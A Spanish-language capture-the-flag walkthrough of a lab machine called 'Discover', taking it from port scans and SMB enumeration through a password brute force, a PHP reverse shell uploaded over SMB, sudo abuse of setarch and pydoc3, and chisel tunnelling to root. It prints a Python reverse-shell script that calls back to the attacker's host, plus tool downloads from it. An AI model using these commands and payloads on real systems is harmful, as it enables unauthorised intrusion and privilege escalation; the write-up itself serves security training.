

# Discover

```
└─(root💀miguel)-[~/home/miguel/Work]
└─# nmap --open -p- -Pn -n --min-rate 5000 -vvv 192.168.137.23
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 16:19 -03
Initiating ARP Ping Scan at 16:19
Scanning 192.168.137.23 [1 port]
Completed ARP Ping Scan at 16:19, 0.27s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:19
Scanning 192.168.137.23 [65535 ports]
Discovered open port 139/tcp on 192.168.137.23
Discovered open port 445/tcp on 192.168.137.23
Discovered open port 22/tcp on 192.168.137.23
Discovered open port 80/tcp on 192.168.137.23
Discovered open port 81/tcp on 192.168.137.23
Completed SYN Stealth Scan at 16:20, 12.66s elapsed (65535 total ports)
Nmap scan report for 192.168.137.23
Host is up, received arp-response (0.0018s latency).
Scanned at 2025-02-10 16:19:48 -03 for 13s
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE      REASON
22/tcp    open  ssh          syn-ack ttl 64
80/tcp    open  http         syn-ack ttl 64
81/tcp    open  hosts2-ns    syn-ack ttl 64
139/tcp   open  netbios-ssn  syn-ack ttl 64
445/tcp   open  microsoft-ds syn-ack ttl 64
MAC Address: 00:0C:29:0E:1B:D6 (VMware)
```

```
└─(root💀miguel)-[~/home/miguel/Work]
└─# nmap -sCV -p22,80,81,139,445 -Pn -n -vvv 192.168.137.23
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 16:21 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
```

```

PORT      STATE SERVICE      REASON      VERSION
22/tcp    open  ssh        syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAQABAAQgQDP40vUJ0xKouLS7x0Yz1485bm/ZBVN/86xL0vh7Gqa1DmEwz/eHP2C3MJQnqTFPOEh18FUL0zj9f1
3aRIey4qQj7/k72PqMBkyfD2KrjN0g7ZZe8z9o0A4VyeDljG6ukVFeN6PEtWtmdmmnVJztgzX0wPWPo9GM5hITyvpIB/Y/IqueYR+ft2n5R0LLUfjFLe
TV1x6jTtZl+Aca0scdf0TJUVLSwZYaHrJQSNLKJhniucqq/zx0mIHjs/v1YXYCh01lYDsb5J/NqTzEPMKkbTw97T5/FQvsWDGJFTtxvCCrInmnUHE
v8D1K2EPhf1rBGOGIObgatVHNfcIvWfuq7sn4x9o1NnbsEogIQ5mbEq0mBlg0W5vowFxUkI600nd4D17H4fkCeipfngWFrT+6cQoNgA3HRKf6Nt0eYs=
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAAABBNDNbcs4gK0y7nXoXxW1kPw0X/vuxNkae5WSrIFu+ZD
+tA44syymA6C40=
|   256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
| ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAINitrDShbBfPB1CJosqkLAQXN4/Mt++ocUqb1G861ZSG
80/tcp    open  http      syn-ack ttl 64 nginx 1.18.0
| http-title: Site doesn't have a title (text/html).
| http-server-header: nginx/1.18.0
| http-methods:
|   Supported Methods: GET HEAD
81/tcp    open  http      syn-ack ttl 64 Apache httpd 2.4.56 ((Debian))
| http-methods:
|   Supported Methods: OPTIONS HEAD GET POST
| http-title: Site doesn't have a title (text/html).
| http-server-header: Apache/2.4.56 (Debian)
139/tcp   open  netbios-ssn syn-ack ttl 64 Samba smbd 4
445/tcp   open  netbios-ssn syn-ack ttl 64 Samba smbd 4
MAC Address: 00:0C:29:0E:1B:D6 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ Script Post-Scan
```

```

└─(root💀miguel)-[~/home/miguel]
└─# nmap -sU --open -p- -Pn -n --min-rate 5000 -vvv 192.168.137.23
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-10 16:35 -03
Initiating ARP Ping Scan at 16:35
Scanning 192.168.137.23 [1 port]
Completed ARP Ping Scan at 16:35, 0.09s elapsed (1 total hosts)
Initiating UDP Scan at 16:35
Scanning 192.168.137.23 [65535 ports]
Increasing send delay for 192.168.137.23 from 0 to 50 due to max_successful_tryno increase to 4
Increasing send delay for 192.168.137.23 from 50 to 100 due to max_successful_tryno increase to 5
Increasing send delay for 192.168.137.23 from 100 to 200 due to max_successful_tryno increase to 6
Increasing send delay for 192.168.137.23 from 200 to 400 due to max_successful_tryno increase to 7
Increasing send delay for 192.168.137.23 from 400 to 800 due to max_successful_tryno increase to 8
Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 16.17% done; ETC: 16:37 (0:01:49 remaining)
Increasing send delay for 192.168.137.23 from 800 to 1000 due to max_successful_tryno increase to 9
Warning: 192.168.137.23 giving up on port because retransmission cap hit (10).
Discovered open port 137/udp on 192.168.137.23
```

```

└─(root💀miguel)-[~/home/miguel/Work]
└─# whatweb 192.168.137.23
http://192.168.137.23 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[192.168.137.23], nginx[1.18.0]

└─(root💀miguel)-[~/home/miguel/Work]
└─# whatweb 192.168.137.23:81
http://192.168.137.23:81 [200 OK] Apache[2.4.56], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.56 (Debian)], IP[192.168.137.23]
```

```
(miguel㉿miguel)-[~]
└─$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.137.23:81/ -t 200 -x html,txt,php
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://192.168.137.23:81/
[+] Method:       GET
[+] Threads:      200
[+] Wordlist:    /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:   gobuster/3.6
[+] Extensions:  php,html,txt
[+] Timeout:     10s
=====
Starting gobuster in directory enumeration mode
=====
/.html          (Status: 403) [Size: 279]
/index.html     (Status: 200) [Size: 15]
/under_construction (Status: 403) [Size: 279]
Progress: 107687 / 882240 (12.21%)^C
[!] Keyboard interrupt detected, terminating.
```

despues de mirar por todos lados voy a ver que encuentro con enum4linux, nada por udp, por smb no consegui nada mas q enumerar recursos, nada en el codigo fuente de las paginas web

```
(root㉿miguel)-[/home/miguel]
# enum4linux -a -v 192.168.137.23
```

```
index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: takeshi Name: Des
[V] Attempting to get userlist with command: rpcclient -W 'WORKGROUP'
user:[ken] rid:[0x3e8]
user:[takeshi] rid:[0x3e9]
=====
( Share Enumeration on 192.168.137.23 )
```

```
(root㉿miguel)-[/home/miguel]
# crackmapexec smb 192.168.137.23 -u ken -p Work/resources/rockyou.txt
```

## como a mi crackmapexec a veces pasa de largo los positivos intento con metasploit

Name	Current Setting	Required	Description
ABORT_ON_LOCKOUT	false	yes	Abort the run when an account lockout is detected
ANONYMOUS_LOGIN	false	yes	Attempt to login with a blank username and password
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
CreateSession	false	no	Create a new session for every successful login
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user&password)
DETECT_ANY_AUTH	false	no	Enable detection of systems accepting any authentication
DETECT_ANY_DOMAIN	false	no	Detect if domain is required for the specified user
PASS_FILE		no	File containing passwords, one per line
PRESERVE_DOMAINS	true	no	Respect a username that contains a domain name.
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RECORD_GUEST	false	no	Record guest-privileged random logins to the database
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/usin">https://docs.metasploit.com/docs/using-metasploit/basics/usin</a> it.html
RPORT	445	yes	The SMB service port (TCP)
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username
SMBUser		no	The username to authenticate as
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

View the full module info with the `info`, or `info -d` command.

```

msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /home/miguel/Work/resources/rockyou.txt
PASS_FILE => /home/miguel/Work/resources/rockyou.txt
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.137.23
RHOSTS => 192.168.137.23
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser ken
SMBUser => ken
msf6 auxiliary(scanner/smb/smb_login) >

```

```

[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:super',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:sonia',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:pinky',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:chantelle',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:puertorico',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:meandyou',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:marcel',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:krissey',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:kittie',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:sprite',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:manman',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:kimmie',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:hotboy',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:emerson',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:elamor',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:capricornio',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:black1',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:misty',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:lillian',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:fuckoff1',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:chelsey',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:suzuki',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:octubre',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:magdalena',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:bratz',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:tomtom',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:noodle',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:carebears',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:flamingo',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:deborah',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:tiffany',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:rene',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:noviembre',
[-] 192.168.137.23:445 - 192.168.137.23:445 - Failed: '\ken:420420',
[+] 192.168.137.23:445 - 192.168.137.23:445 - Success: '\ken:kenken'
[*] 192.168.137.23:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.137.23:445 - Bruteforce completed, 1 credential was successful.
[*] 192.168.137.23:445 - You can open an SMB session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_login) >

```

```

[!] (root@miguel)-[/home/miguel]
# smbmap -H 192.168.137.23 -u "ken" -p "kenken"

SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[!] Checking for open ports...
[*] Detected 1 hosts serving SMB
[!] Initializing hosts...
[!] Authenticating...
[!] Authenticating...
[!] Authenticating...
[!] Authenticating...
[!] Authenticating...
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[!] Authenticating...
[!] Enumerating shares...
[!] Enumerating shares...

[+] IP: 192.168.137.23:445      Name: discover
Disk
-----
print$          Permissions   Comment
IPC$            READ ONLY    Printer Drivers
ken             NO ACCESS   IPC Service (Samba 4.13.13-Debian)
                           READ, WRITE  File Upload Path
[!] Closing connections..
[!] Closing connections..
[!] Closing connections..
[*] Closed 1 connections

[!] Checking for open ports...
[-] Initializing hosts...
[!] Authenticating...
[-] Authenticating...
[!] Authenticating...
[-] Authenticating...
[!] Authenticating...
[-] Enumerating shares...
[!] Enumerating shares...

Status: Authenticated
Permissions   Comment
-----
READ ONLY    Printer Drivers
NO ACCESS   IPC Service (Samba 4.13.13-Debian)
READ, WRITE  File Upload Path
[!] Closing connections..
[!] Closing connections..

```

```

[!] (root@miguel)-[/home/miguel]
# smbmap -H 192.168.137.23 -u "ken" -p "kenken" -r ken

SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 192.168.137.23:445      Name: discover
Disk
-----
print$          Permissions   Comment
IPC$            READ ONLY    Printer Drivers
ken             NO ACCESS   IPC Service (Samba 4.13.13-Debian)
                           READ, WRITE  File Upload Path
./ken
dr--r--r--        0 Mon Feb 10 18:12:53 2025 ..
dr--r--r--        0 Mon Jul  3 18:19:50 2023 ..
fr--r--r--        15 Tue Jul  4 07:33:20 2023 index.html
[*] Closed 1 connections

```

```
(root💀miguel)-[~/home/miguel]
# smbmap -H 192.168.137.23 -u "ken" -p "kenken" --download ken/index.html

SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connection(s) and 1 authenticated session(s)
[+] Starting download: ken\index.html (15 bytes)
[+] File output to: /home/miguel/192.168.137.23-ken_index.html
[*] Closed 1 connections
```

vamos a ver si el index es alguno de los sitios web

```
(root💀miguel)-[~/home/miguel]
# cat 192.168.137.23-ken_index.html
File: 192.168.137.23-ken_index.html
1 <h2>Good!</h2>

#
```

nos conectamos

```
(root💀miguel)-[~/home/miguel]
# smbclient //192.168.137.23/ken -U ken%kenken
Try "help" to get a list of possible commands.
smb: \>
```

```
smb: \> put reverse.php
putting file reverse.php as \reverse.php (99.4 kb/s) (average 99.4 kb/s)
smb: \> dir
.
D      0  Mon Feb 10 20:52:32 202
5
D      0  Mon Jul  3 18:19:50 202
..
A      5495  Mon Feb 10 20:52:32 202
3
5
reverse.php

7173040 blocks of size 1024. 4499800 blocks available
```

de momento intente hacer put de codigos php para hacer una revshell pero el codigo no es interpretado solo me deja descargar el archivo

vuelvo al under\_construction para ver algo q me pueda servir por consola al hacer curl

```
(miguel㉿miguel)-[~]
$ curl -s -X GET 'http://192.168.137.23:81//under_construction/'
!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
html><head>
title>403 Forbidden</title>
/head><body>
h1>Forbidden</h1>
p>You don't have permission to access this resource.</p>
hr>
address>Apache/2.4.56 (Debian) Server at 192.168.137.23 Port 81</address>
</body></html>
```

```
(miguel㉿miguel)-[~]
$ curl -s -X POST 'http://192.168.137.23:81//under_construction/'
```

```
<!DOCTYPE html>
<html>
<head>
<title>Under Construction</title>
<style>
body {
    font-family: Arial, sans-serif;
    text-align: center;
    margin: 0;
    padding: 0;
}

.container {
    display: flex;
    justify-content: center;
    align-items: center;
    height: 100vh;
}

h1 {
    font-size: 30px;
}

p {
    font-size: 18px;
    color: #888;
}
</style>
</head>
<body>
<div class="container">
<div>
<h1>Under Construction</h1>
<p>We are working to improve our website.</p>
<p>contact: support@todiscover.nyx</p>
</div>
</div>
</body>

```

vamos a incluirlo al /etc/hosts

y vamos a intentar con wfuzz encontrar un suvdominio, en el caso de que lo encuentre, se nos hara una llamada a la reverse shell que pusimos por sm si el codigo es interpretado, ya que wfuzz cargara la pagina directamente asi

`subdominio.todiscover.nyx/reverse.php` recordando que el dominio `discover.nyx/` tiene que ser por peticion `POST`

```

[~]# wfuzz -c --hi=7 -X POST -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.todiscover.nyx" "todiscover.nyx/reverse.php"
/usr/lib/python3/dist-packages/wfuzz/_init_.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****
Target: http://todiscover.nyx/reverse.php
Total requests: 114441

=====
ID      Response   Lines   Word    Chars   Payload
=====

000006624: 405      7 L     11 W    157 Ch   "game2"
000006629: 405      7 L     11 W    157 Ch   "smx"
000006635: 405      7 L     11 W    157 Ch   "nick"
000006621: 405      7 L     11 W    157 Ch   "perpustakaan"
000006632: 405      7 L     11 W    157 Ch   "pozycjonowanie"
000006627: 405      7 L     11 W    157 Ch   "hcm.m"

[~]# nc -nlvp 443 ...
listening on [any] 443 ...
connect to [192.168.137.12] from (UNKNOWN) [192.168.137.23] 39858
Linux discover 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux
01:04:08 up 3:19, 0 users, load average: 0.13, 0.15, 0.31
USER     TTY        FROM             LOGIN@  IDLE   JCPU   PCPU WHAT
uid=1000(ken) gid=1000(ken) groups=1000(ken)
/bin/sh: 0: can't access tty; job control turned off
$
```

## |Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo setarch $(arch) /bin/sh
```

```

ken@discover:/$ pwd
/
ken@discover:/$ id
uid=1000(ken) gid=1000(ken) groups=1000(ken)
ken@discover:/$ sudo -l
Matching Defaults entries for ken on discover:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ken may run the following commands on discover:
    (takeshi) NOPASSWD: /usr/bin/setarch
ken@discover:/$ sudo -u takeshi setarch $(arch) /bin/bash
takeshi@discover:/$ whoami
takeshi
takeshi@discover:/$
```

leemos la documentacion del comando, y vemos que nos podemos abrir un servidor en un puerto q escojamos, entonces vamos a jugar con chisel para

traernos ese puerto a nuestra maquina, para eso necesitamos dos terminales de la victima, una actuara como server y la otra estara con chisel dandonos el puerto a nuestra maquina

The screenshot shows two terminal sessions. The left session is on a victim machine ('discover') and the right session is on a root shell ('miguel').

**Left Session (Victim):**

```
takeshi@discover:~/ssh$ sudo /usr/bin/pydoc3
pydoc - The Python documentation tool

pydoc3 <name> ...
Show text documentation on something. <name> may be the name of a
Python keyword, topic, function, module, or package, or a dotted
reference to a class or function within a module or module in a
package. If <name> contains a '/', it is used as the path to a
Python source file to document. If name is 'keywords', 'topics',
or 'modules', a listing of these things is displayed.

pydoc3 -k <keyword>
Search for a keyword in the synopsis lines of all available modules.

pydoc3 -n <hostname>
Start an HTTP server with the given hostname (default: localhost).

pydoc3 -p <port>
Start an HTTP server on the given port on the local machine. Port
number 0 can be used to get an arbitrary unused port.

pydoc3 -b
Start an HTTP server on an arbitrary unused port and open a Web brows
er
to interactively browse documentation. This option can be used in
combination with -n and/or -p.

pydoc3 -w <name> ...
Write out the HTML documentation for a module to a file in the curren
t
directory. If <name> contains a '/', it is treated as a filename; if
it names a directory, documentation is written for all the contents.

takeshi@discover:~/ssh$ wget http://192.168.137.12:2323/authorized_keys
```

**Right Session (Root Shell):**

```
(root@miguel)-[~/ssh]
# ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/root/.ssh/id_ed25519):
Enter passphrase for "/root/.ssh/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_ed25519
Your public key has been saved in /root/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:b18x9ig0g3QHajTWe1FTg0qh5SvFaMrHfqueue9XkHk root@miguel
The key's randomart image is:
+--[ED25519 256]--+
| .. .
| .o + =
| o = * +o
| +.B ++ E.
| o*.= oS o
| oo.o . . .
| . . . . . . +
| . o . . . .o =
| =+o.o.o=o...o .
+---[SHA256]-----+
```

```
(root@miguel)-[~/ssh]
# ls
id_ed25519 id_ed25519.pub

[root@miguel]-[~/ssh]
# cat id_ed25519.pub > authorized_keys
```

```
(root@miguel)-[~/ssh]
# python3 -m http.server 2323
Serving HTTP on 0.0.0.0 port 2323 (http://0.0.0.0:2323) ...
```

descargamos chisel en una de las terminales de la victima

```
discover:~  
└─(root💀miguel)-[~/home/miguel/Work/resources]  
# python3 -m http.server 2323  
Serving HTTP on 0.0.0.0 port 2323 (http://0.0.0.0:2323/) ...  
192.168.137.23 - - [10/Feb/2025 22:09:57] "GET /chisel HTTP/1.1" 200 -  
  
takeshi@discover:~$ wget http://192.168.137.12:2323/chisel  
--2025-02-11 02:10:00-- http://192.168.137.12:2323/chisel  
Conectando con 192.168.137.12:2323... conectado.  
Petición HTTP enviada, esperando respuesta... 200 OK  
Longitud: 9371800 (8,9M) [application/octet-stream]  
Grabando a: «chisel»  
  
chisel          100%[=====>]   8,94M  15,8MB/s    en 0,6s  
2025-02-11 02:10:01 (15,8 MB/s) - «chisel» guardado [9371800/9371800]  
takeshi@discover:~$
```

en la otra terminal creamos el servidor en el puerto 5555

```
takeshi@discover:~$ sudo /usr/bin/pydoc3 -p 5555  
Server ready at http://localhost:5555/  
Server commands: [b]rowser, [q]uit  
server>
```

```
takeshi@discover:~$ sudo /usr/bin/pydoc3 -p 5555
Server ready at http://localhost:5555/
Server commands: [b]rowser, [q]uit
server>

[ (root💀miguel)-[/home/miguel/Work/resources]
# chisel server --reverse -p 1234
2025/02/10 22:17:02 server: Reverse tunnelling enabled
2025/02/10 22:17:02 server: Fingerprint dqeYk0clQU1H/SxqPQnvS6RNjNICz8HKT+a66DZDUV4=
2025/02/10 22:17:02 server: Listening on http://0.0.0.0:1234
2025/02/10 22:17:13 server: session#1: tun: proxy#R:5555=>5555: Listening

takeshi@discover:~$ ./chisel client 192.168.137.12:1234 R:5555:127.0.0.1:5555
2025/02/11 02:17:16 client: Connecting to ws://192.168.137.12:1234
2025/02/11 02:17:16 client: Connected (Latency 1.930459ms)
```

vemos que aparece nuestro usuario, que tal crearnos una revshell en nuestro directorio takeshi para ejecutarla desde aqui ya que tenemos priv sudo

Built-in Modules			
abc	operator	_struct	gzip
ast	peg_parser	_symtable	itertools
bisect	pickle	_thread	marshal
blake2	posixsubprocess	_tracemalloc	math
codecs	random	warnings	posix
collections	sha1	weakref	pwd
csv	sha256	array	pyexpat
datetime	sha3	atexit	select
elementtree	sha512	binascii	spwd
functools	signal	builtins	sys
heapq	socket	cmath	syslog
imp	sre	errno	time
io	stat	faulthandler	unicodedata
locale	statistics	fcntl	xsubprocess
md5	string	gc	zlib

## script

```
import socket,subprocess,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.137.12",9001))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")
```

```
takeshi@discover:~$ sudo /usr/bin/pydoc3 -p 5555
Server ready at http://localhost:5555/
Server commands: [b]rowser, [q]uit
server>

(roots@miguel)-[/home/miguel/Work/resources]
# chisel server --reverse -p 1234
2025/02/10 22:17:02 server: Reverse tunnelling enabled
2025/02/10 22:17:02 server: Fingerprint dqeYkOclQUlH/SxqPQnvS6RNjNIcz8HKT+a66DZDUV4=
2025/02/10 22:17:02 server: Listening on http://0.0.0.0:1234
2025/02/10 22:17:13 server: session#1: tun: proxy#R:5555=>5555: Listening

takeshi@discover:~$ ./chisel client 192.168.137.12:1234 R:5555:127.0.0.1:5555
2025/02/11 02:17:16 client: Connecting to ws://192.168.137.12:1234
2025/02/11 02:17:16 client: Connected (Latency 1.930459ms)

takeshi@discover:~$ ls
chisel  revshell.py
takeshi@discover:~$
```

hacemos click en el archivito

localhost:5555

Python 3.9.2 [default, GCC 10.2.1 20210110]  
Linux-5.10.0-23-amd64-x86\_64-with-glibc2.31

Module Index : Topics : Keywords | Get | Search

## Index of Modules

### Built-in Modules

<a href="#">abc</a>	<a href="#">operator</a>	<a href="#">struct</a>	<a href="#">grp</a>
<a href="#">ast</a>	<a href="#">peg_parser</a>	<a href="#">smtplib</a>	<a href="#">itertools</a>
<a href="#">bisect</a>	<a href="#">pickle</a>	<a href="#">thread</a>	<a href="#">marshal</a>
<a href="#">blake2</a>	<a href="#">posixsubprocess</a>	<a href="#">tracemalloc</a>	<a href="#">math</a>
<a href="#">codecs</a>	<a href="#">random</a>	<a href="#">warnings</a>	<a href="#">posix</a>
<a href="#">collections</a>	<a href="#">sha1</a>	<a href="#">weakref</a>	<a href="#">pwd</a>
<a href="#">csv</a>	<a href="#">sha256</a>	<a href="#">array</a>	<a href="#">pyexpat</a>
<a href="#">datetime</a>	<a href="#">sha3</a>	<a href="#">atexit</a>	<a href="#">select</a>
<a href="#">elementtree</a>	<a href="#">sha512</a>	<a href="#">binascii</a>	<a href="#">spwd</a>
<a href="#">functools</a>	<a href="#">signal</a>	<a href="#">builtins</a>	<a href="#">sys</a>
<a href="#">heapq</a>	<a href="#">socket</a>	<a href="#">cmath</a>	<a href="#">syslog</a>
<a href="#">imp</a>	<a href="#">sre</a>	<a href="#">errno</a>	<a href="#">time</a>
<a href="#">io</a>	<a href="#">stat</a>	<a href="#">faulthandler</a>	<a href="#">unicodedata</a>
<a href="#">locale</a>	<a href="#">statistics</a>	<a href="#">fcntl</a>	<a href="#">xxsubtype</a>
<a href="#">md5</a>	<a href="#">string</a>	<a href="#">gc</a>	<a href="#">zlib</a>

/home/takeshi  
[revshell](#)

/usr/lib/python39.zip

```
takeshi@discover:~$ sudo /usr/bin/pydoc3 -p 5555
Server ready at http://localhost:5555/
Server commands: [b]rowser, [q]uit
server>
```

```
(root@miguel)-[/home/miguel/Work/resources]
# chisel server --reverse -p 1234
2025/02/10 22:17:02 server: Reverse tunnelling enabled
2025/02/10 22:17:02 server: Fingerprint dqeYk0clQU1H/SxqPQnvS6RNjNICz8HKT+a66DZDUV4=
2025/02/10 22:17:02 server: Listening on http://0.0.0.0:1234
2025/02/10 22:17:13 server: session#1: tun: proxy#R:5555=>5555: Listening
```

```
takeshi@discover:~$ ./chisel client 192.168.137.12:1234 R:5555:127.0.0.1:5555
2025/02/11 02:17:16 client: Connecting to ws://192.168.137.12:1234
2025/02/11 02:17:16 client: Connected (Latency 1.930459ms)
```

```
takeshi@discover:~$ ls
chisel  revshell.py
takeshi@discover:~$
```

```
(root@miguel)-[/home/miguel]
# nc -nlvp 9001
listening on [any] 9001 ...
connect to [192.168.137.12] from (UNKNOWN) [192.168.137.23] 54402
root@discover:/home/takeshi# whoami
whoami
root
root@discover:/home/takeshi#
```

```
bash: exprot: command not found
root@discover:~# cacat root.txt
cat root.txt
d1fbblfc68df7c8bdb6160ef34015ad1
root@discover:~#
```

```
157750      +-----+ Ken      KC
root@discover:~# cat /home/ken/user.txt
cat /home/ken/user.txt
6250095210f0c82aea6330a1269f8d97
root@discover:~#
```